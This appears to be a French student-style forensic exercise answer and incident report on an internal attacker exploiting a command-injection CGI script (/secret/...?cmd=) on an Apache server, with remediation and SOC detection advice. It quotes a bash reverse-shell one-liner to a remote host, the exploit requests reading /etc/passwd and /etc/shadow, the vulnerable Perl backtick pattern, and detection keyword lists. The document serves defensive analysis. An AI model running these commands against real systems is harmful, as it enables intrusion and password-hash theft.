■​ bash -i >& /dev/tcp/[Link]/4444 0>&1​

Ces indices, combinés, permettraient de prouver qu’une reverse shell a été déclenchée.

4. La machine est-elle compromise à ce stade ?

Oui, clairement.

Même si on ne voit pas un tunnel chiffré ou une reverse shell pleinement établie, on a déjà
constaté que :

●​ l’attaquant dispose d’une RCE complète via /secret/[Link]?cmd=... ;​

●​ il peut exécuter des commandes système (id, pwd, ls, etc.) ;​

●​ il a réussi à lire des fichiers critiques comme :​

○​ /etc/passwd​

○​ /etc/shadow​
 ●​ il explore /etc, /etc/init.d, /home/..., essaie d’ouvrir des services (SSH,
FTP) → post-exploitation active.​

👉 Conclusion :
●​ La machine est déjà compromise :​

○​ intégrité du système compromise (exécution de commandes arbitraires),​

○​ confidentialité des données compromise (/etc/shadow),​

○​ risque majeur d’escalade de privilèges et de mouvement latéral dans le

réseau.​

●​ Que la reverse shell/tunnel chiffré réussisse ou non ne change pas ce constat : la

compromission est avérée.​

Étape 11 – Bilan et recommandations de sécurité

Voici un bilan propre que tu peux quasiment déposer tel quel 🧾

1. Résumé des grandes étapes de l’attaque

1.​ Scan réseau initial (reconnaissance)​

○​ L’attaquant interne [Link] scanne la machine [Link] avec

Nmap (SYN scan large sur les ports 1–65535).​

○​ Il identifie au moins deux ports ouverts : 80 (HTTP / Apache 2.2.22) et 111

(ONC RPC).​

2.​ Énumération web automatisée​

○​ Utilisation de Nmap NSE et de Nikto pour scanner le serveur web.​

○​ Test de nombreux chemins classiques (/[Link], /.git/HEAD,

/cgi-bin/, /[Link], etc.) avec majoritairement des réponses 404 /
403.​

3.​ Découverte et test du script vulnérable​

 ○​ Accès à /secret/[Link], puis test du paramètre cmd=.​

○​ L’attaquant découvre que le script exécute directement la valeur de cmd en

tant que commande système (RCE).​

4.​ Exploitation de la RCE​

○​ Exécution de commandes comme id, pwd, ls, cat [Link], cat

/etc/passwd, cat /etc/shadow.​

○​ L’attaquant obtient un shell “virtuel” à distance via HTTP.​

5.​ Post-exploitation et reconnaissance système​

○​ Exploration de /etc, /etc/init.d, /home/....​

○​ Consultation de fichiers sensibles, inventaire des comptes, tentative de

démarrer des services (vsftpd, sshd) pour ouvrir d’autres points d’entrée.​

○​ Tentative (ou intention) de mettre en place un accès plus

confortable/persistant (SSH, éventuel tunnel chiffré).​

2. Vecteur d’entrée principal et capacités obtenues

a) Vecteur d’entrée principal

●​ Vecteur d’entrée :​
Une vulnérabilité de type Remote Command Execution (RCE) dans le script CGI
/secret/[Link].​

●​ Cause technique :​

○​ Paramètre cmd passé dans l’URL,​

○​ Directement injecté dans une commande système sans validation ni

filtrage,​

○​ Probablement via des backticks en Perl ($run = \$cmd`;`).​

b) Données / capacités obtenues

Grâce à cette RCE, l’attaquant a pu :

 ●​ Exécuter des commandes système à distance sous l’utilisateur apache.​

●​ Lire des fichiers sensibles, notamment :​

○​ /etc/passwd​

○​ /etc/shadow​

○​ le code source de [Link] et d’autres fichiers dans

/var/www/html/secret.​

●​ Explorer l’arborescence système (/etc, /etc/init.d, /home/...),​

●​ Enumérer les services et ports ouverts (netstat -an),​

●​ Tenter de démarrer de nouveaux services (vsftpd, sshd) pour élargir sa surface

d’accès.​

3. Gravité de l’incident
👉 Gravité : CRITIQUE
Justification :

●​ RCE sur un serveur de production → l’attaquant peut exécuter des commandes à

distance.​

●​ Lecture de /etc/shadow → exposition de tous les hashs de mots de passe,

permettant des attaques offline.​

●​ Possibilité élevée d’élévation de privilèges (exploitation locale, mauvaises

permissions, mot de passe root faible).​

●​ Risque de mouvement latéral vers d’autres machines du réseau interne.​

●​ Compromission à la fois de la confidentialité, de l’intégrité et de la disponibilité

potentielle du système.​

4. Mesures de remédiation (au moins 5)

Voici un ensemble de mesures techniques et organisationnelles adaptées :

1.​ Corriger et supprimer la vulnérabilité RCE​

○​ Désactiver ou restreindre immédiatement l’accès à /secret/[Link].​

○​ Réécrire le script pour ne jamais exécuter directement des entrées

utilisateur dans un shell.​

○​ Passer par des APIs internes ou des commandes fortement contrôlées (liste
blanche stricte) si besoin fonctionnel réel.​

2.​ Durcissement du serveur web (Apache)​

○​ Mettre à jour Apache et le système (Fedora + packages), appliquer les

derniers correctifs.​

○​ Désactiver les modules CGI non nécessaires.​

○​ Restreindre l’exécution de scripts à des répertoires spécifiques, avec droits

minimaux.​

○​ Mettre en place une configuration restrictive (Options, AllowOverride, etc.)

et des permissions fichiers strictes.​

3.​ Segmentation réseau et limitation des accès​

○​ Isoler les serveurs web en DMZ, avec des règles de pare-feu strictes entre
DMZ, LAN interne et Internet.​

○​ Limiter l’accès aux ports sensibles (RPC, SSH, etc.) à des adresses IP /
bastions de confiance.​

○​ Bloquer ou filtrer les connexions sortantes non nécessaires depuis les

serveurs (réduction du risque de reverse shell).​

4.​ Durcissement des services systèmes (SSH, RPC, etc.)​

○​ Désactiver les services inutiles (rpcbind / ONC RPC si non requis).​

○​ Configurer SSH de manière sécurisée :​

■​ authentification par clés seulement,​

■​ désactivation du login root direct,​

 ■​ restrictions par IP, Fail2ban, etc.​

○​ Vérifier les permissions sur /etc/shadow, /etc/passwd et les répertoires

/home.​

5.​ Surveillance, journaux et alertes​

○​ Activer et centraliser les logs Apache, [Link], logs système, etc. dans
un SIEM.​

○​ Créer des alertes pour :​

■​ pics anormaux de 404 / 403,​

■​ scans d’URL typiques (Nikto, Nmap NSE),​

■​ requêtes contenant des paramètres suspects (cmd=, ;, &&, etc.),​

■​ accès répétés à des scripts non documentés (/secret/[Link] par

exemple).​

○​ Conserver les PCAP / logs pour analyse rétrospective.​

6.​ Bonnes pratiques de développement et revue de code​

○​ Former les développeurs aux vulnérabilités de type injection / RCE.​

○​ Imposer une validation stricte des entrées (whitelist, pas d’appel direct à un
shell).​

○​ Mettre en place des revues de code de sécurité pour tout script exposé sur
le web.​

○​ Utiliser des scanners de sécurité applicative (SAST/DAST) dans le pipeline

CI/CD.​

(5 étaient demandées, je t’en ai donné un peu plus 😉)

5. Axes d’amélioration pour le SOC / équipe de défense

Axe 1 – Détection plus rapide de ce type d’activité
 ●​ Mettre en place des règles de détection précoce pour :​

○​ les scans de ports internes (courts bursts de SYN vers de multiples ports) ;​

○​ les User-Agent typiques de Nmap NSE et Nikto ;​

○​ les modèles de requêtes HTTP anormales :​

■​ grand nombre de 404 en peu de temps,​

■​ exploration de chemins connus (/.git/, /cgi-bin/,

/server-status, etc.).​

●​ Corréler les événements réseau avec les logs applicatifs pour repérer rapidement un
comportement de scanner.​

Axe 2 – Nouveaux scénarios / règles de détection à ajouter

●​ Scénarios de détection RCE / webshell :​

○​ Requêtes HTTP contenant des paramètres comme cmd=, exec=, shell=,

ou des symboles ;, &&, |, > dans les URLs.​

○​ Réponses HTTP contenant des motifs typiques de commandes Unix (uid=,

gid=, root:x:0:0:root, /bin/bash, etc.).​

○​ Accès à des fichiers système (/etc/passwd, /etc/shadow,

/etc/init.d) via des scripts web.​

●​ Règles sur activité post-exploitation :​

○​ Détection de commandes réseau lancées via un processus web (apache qui

exécute netstat, service, ssh, nc, wget, etc.).​

○​ Détection d’ouvertures de ports ou de démarrage de services initiés par un

compte de service (apache).​

👉
En résumé :​

👉
le SOC doit surveiller les signes avant-coureurs (scans, énumération),​
et aussi les indicateurs forts de compromission (RCE, lecture de fichiers sensibles,
commandes système lancées via le serveur web).
Rapport d’incident de sécurité
Sujet : Compromission d’un serveur web interne ([Link])​
Date de l’incident analysé : 19/08/2014

1. Résumé exécutif
Ce rapport décrit une attaque menée depuis un hôte interne ([Link]) contre un
serveur web ([Link]) situé sur le même sous-réseau LAN.

L’attaquant a d’abord réalisé un scan réseau avec Nmap afin d’identifier les ports ouverts et
les services exposés, puis a utilisé des outils d’énumération web (Nmap NSE, Nikto) pour
cartographier l’application.

Il a ensuite découvert un script CGI vulnérable (/secret/[Link]) permettant une

Remote Command Execution (RCE) via un paramètre non filtré (cmd=). Grâce à cette
faille, il a pu exécuter des commandes système à distance, lire des fichiers sensibles (dont
/etc/passwd et /etc/shadow), analyser la configuration du système et tenter d’ouvrir
d’autres points d’entrée (SSH, FTP).

L’incident est classé de gravité critique, car il donne à l’attaquant un contrôle quasi complet
sur la machine et un point de pivot potentiel vers le reste du réseau interne.

2. Contexte et acteurs
●​ Victime :​

○​ IP : [Link]​

○​ MAC : 00:18:8b:be:5b:37​

○​ Rôle : serveur web (Apache 2.2.22) sous Fedora (Linux)​

○​ Ports ouverts observés : 80/tcp (HTTP), 111/tcp (ONC RPC),

(éventuellement 22/SSH/22 non actif au départ)​

●​ Attaquant :​
 ○​ IP : [Link]​

○​ MAC : 00:21:70:f5:92:c3​

○​ Même sous-réseau ([Link]/24) → attaque interne (hôte déjà dans

le LAN)​

●​ Outils d’attaque identifiés :​

○​ Nmap (SYN scan + Nmap Scripting Engine)​

○​ Nikto (scanner de vulnérabilités web)​

○​ Script CGI vulnérable : /secret/[Link] utilisé comme “webshell” via le

paramètre cmd=​

3. Chronologie simplifiée de l’attaque

Période de la capture :

●​ Début : ~10:21:06​

●​ Fin : ~10:34:11​

●​ Durée : ~13 minutes​

1.​ Reconnaissance réseau (scan Nmap)​

○​ Scan SYN massif depuis [Link] vers [Link] sur un grand

nombre de ports (1–65535).​

○​ Identification de ports ouverts : 80/tcp (HTTP), 111/tcp (ONC RPC),

éventuellement d’autres.​

2.​ Énumération web (Nmap NSE, Nikto)​

○​ Requêtes HTTP avec User-Agent indiquant :​

■​ Nmap Scripting Engine​

■​ Nikto/2.1.x​
 ○​ Test de chemins classiques : /, /[Link], /[Link],
/.git/HEAD, /cgi-bin/, /[Link], etc.​

○​ Majorité de réponses 404 Not Found et 403 Forbidden.​

3.​ Découverte du script vulnérable​

○​ Accès à [Link] (premier accès sans

paramètre).​

○​ Découverte du paramètre cmd= permettant de passer une commande

système.​

4.​ Exploitation de la RCE​

○​ Requêtes de type :​

■​ GET /secret/[Link]?cmd=id​

■​ GET /secret/[Link]?cmd=pwd​

■​ GET /secret/[Link]?cmd=ls​

■​ GET /secret/[Link]?cmd=cat+/etc/passwd​

■​ GET /secret/[Link]?cmd=cat+/etc/shadow​

○​ Réponses du serveur montrant la sortie des commandes UNIX (id,

répertoires, contenu de fichiers).​

5.​ Post-exploitation et reconnaissance système​

○​ Exploration de répertoires : /etc, /etc/init.d, /home, /home/test,

/home/webmaster.​

○​ Lecture de /etc/passwd et /etc/shadow.​

○​ Execution de netstat -an pour voir services/ports en écoute.​

○​ Tentatives de démarrage de vsftpd et sshd via service/sudo (objectif :

ouvrir d’autres accès).​
4. Vecteur d’entrée et capacités obtenues
4.1 Vecteur d’entrée principal

●​ Vulnérabilité :​

○​ Remote Command Execution (RCE) dans le script CGI

**/secret/[Link]**.​

●​ Mécanisme technique :​

○​ Paramètre cmd récupéré depuis la requête HTTP (cmd=...).​

○​ Valeur de cmd passée directement à un shell (via backticks Perl ou

équivalent), sans validation ni filtrage.​

Exemple logique interne probable :​

​
$cmd = param('cmd');
$run = `$cmd`;
print $run;

○​

4.2 Capacités acquises par l’attaquant

L’attaquant a pu :

●​ Exécuter des commandes système à distance, sous le compte apache :​

○​ id, pwd, ls, etc.​

●​ Lire des fichiers sensibles :​

○​ /etc/passwd → liste des comptes système.​

○​ /etc/shadow → hashs des mots de passe.​

○​ Code source de [Link] et potentiellement d’autres fichiers web.​

●​ Cartographier le système :​

○​ Arborescence (/etc, /etc/init.d, /home/...).​

 ○​ Services et ports (netstat -an).​

●​ Préparer une persistance ou un pivot :​

○​ Tentatives de démarrer vsftpd et sshd.​

○​ Vérification de la présence d’OpenSSL et d’autres outils.​

5. Analyse de l’impact et gravité

5.1 Impact

●​ Confidentialité :​

○​ Compromission de /etc/passwd et /etc/shadow.​

○​ Potentiel crack de mots de passe utilisateurs hors ligne.​

●​ Intégrité :​

○​ L’attaquant peut exécuter des commandes arbitraires → modifier, supprimer,

ajouter des fichiers, scripts, backdoors.​

●​ Disponibilité :​

○​ Possibilité de stopper des services, saturer ou reconfigurer le serveur.​

●​ Risque réseau :​

○​ Point de pivot possible vers d’autres hôtes du LAN (attaque interne).​

5.2 Gravité

👉 Gravité globale : CRITIQUE

Raisons :

●​ RCE depuis le réseau → contrôle direct de la machine via HTTP.​

●​ Lecture de fichiers hautement sensibles (/etc/shadow).​

●​ Possibilité de persistance et de mouvement latéral.​

 ●​ Attaque venant d’un hôte interne → remet en cause la confiance dans le réseau
local.​

6. Recommandations de remédiation
6.1 Correctifs applicatifs et système

1.​ Désactivation / correction du script vulnérable​

○​ Retirer ou restreindre immédiatement l’accès à /secret/[Link].​

○​ Réécrire le script sans exécution directe de commandes basées sur les

entrées utilisateur.​

○​ Appliquer une validation stricte des entrées (whitelist, pas d’appel shell).​

2.​ Mise à jour du système et des logiciels​

○​ Mettre à jour Fedora et tous les paquets, en particulier :​

■​ Apache HTTP Server,​

■​ Perl/CGI, bibliothèques associées.​

○​ Appliquer les derniers patchs de sécurité.​

3.​ Durcissement d’Apache​

○​ Désactiver les modules CGI inutiles.​

○​ Limiter l’exécution des scripts à des répertoires spécifiques et contrôlés.​

○​ Régler finement les permissions de fichiers (scripts exécutés par un compte

dédié très restreint).​

○​ Vérifier la configuration (Options, AllowOverride, DirectoryIndex,

etc.).​

6.2 Architecture et réseau

 4.​ Segmentation réseau et filtrage​

○​ Isoler les serveurs web en DMZ, avec règles de firewall strictes entre DMZ et
LAN.​

○​ Limiter les accès aux ports critiques (SSH, RPC, etc.) à des bastions / IP de
confiance.​

○​ Bloquer les connexions sortantes injustifiées depuis les serveurs

(réduction du risque de reverse shell / exfiltration).​

5.​ Durcissement des services systèmes​

○​ Désactiver les services non indispensables (RPC, etc.) ou les limiter aux
interfaces internes.​

○​ Pour SSH :​

■​ désactiver le login root direct,​

■​ privilégier l’authentification par clés,​

■​ activer Fail2ban / limites de connexions.​

○​ Vérifier que l’utilisateur apache ne dispose pas de droits sudo ni d’accès

sensibles.​

6.3 Détection, monitoring et organisation

6.​ Renforcer la journalisation et la collecte de logs​

○​ Centraliser les logs Apache, logs système (/var/log/messages,

[Link], etc.) dans un SIEM.​

○​ Garder un historique suffisant pour l’analyse a posteriori.​

7.​ Mise en place d’alertes dédiées​

○​ Alertes sur :​

■​ pics de 404/403,​

■​ User-Agent typiques de Nmap et Nikto,​

 ■​ URLs contenant cmd=, exec=, ;, &&, /etc/passwd, /etc/shadow,
etc.​

○​ Règles IDS/IPS pour détecter :​

■​ scans de ports,​

■​ comportements d’énumération agressive,​

■​ patterns de RCE / webshell.​

8.​ Bonne pratiques de développement​

○​ Formation des développeurs aux vulnérabilités d’injection (RCE, SQLi, XSS,

etc.).​

○​ Revue de code orientée sécurité pour tous les scripts exposés sur le web.​

○​ Intégration de scanners SAST/DAST dans le pipeline CI/CD.​

7. Améliorations pour le SOC / équipe de défense

7.1 Détection plus rapide de ce type d’activité

●​ Mettre en place des use cases pour :​

○​ détection d’outils de scan (Nmap, Nikto) via User-Agent / comportement

HTTP,​

○​ corrélation de multiples erreurs 404/403 sur une même IP,​

○​ détection de paramètres suspects (cmd=, ;, &&, |) dans les URLs.​

●​ Détecter les scans internes (SYN vers de nombreux ports) sur le réseau.​

7.2 Nouveaux scénarios / règles de détection

●​ Scénarios RCE / webshell :​

○​ requêtes HTTP contenant cmd=, shell=, exec=, des chemins /secret/,

/cgi-bin/, etc. ;​
 ○​ réponses contenant des motifs système (uid=, gid=, root:x:0:0,
/bin/bash, etc.).​

●​ Scénarios post-exploitation :​

○​ processus Apache exécutant des commandes type netstat, service, cat

/etc/passwd, cat /etc/shadow.​

○​ détection de tentatives de démarrage de services (sshd, vsftpd) depuis des

comptes applicatifs.​

8. Conclusion
La machine [Link] est considérablement compromise :

●​ une RCE complète est exploitée via un script CGI vulnérable,​

●​ des fichiers critiques du système ont été exfiltrés,​

●​ l’attaquant a réalisé une reconnaissance approfondie et tenté de mettre en place

des accès persistants.​

L’incident montre clairement :

●​ l’importance de sécuriser les scripts web (validation des entrées, interdiction

d’exécution directe de commandes),​

●​ la nécessité d’une segmentation réseau stricte,​

●​ et le besoin de détection proactive des scans et activités suspectes, même

lorsqu’elles proviennent du réseau interne.​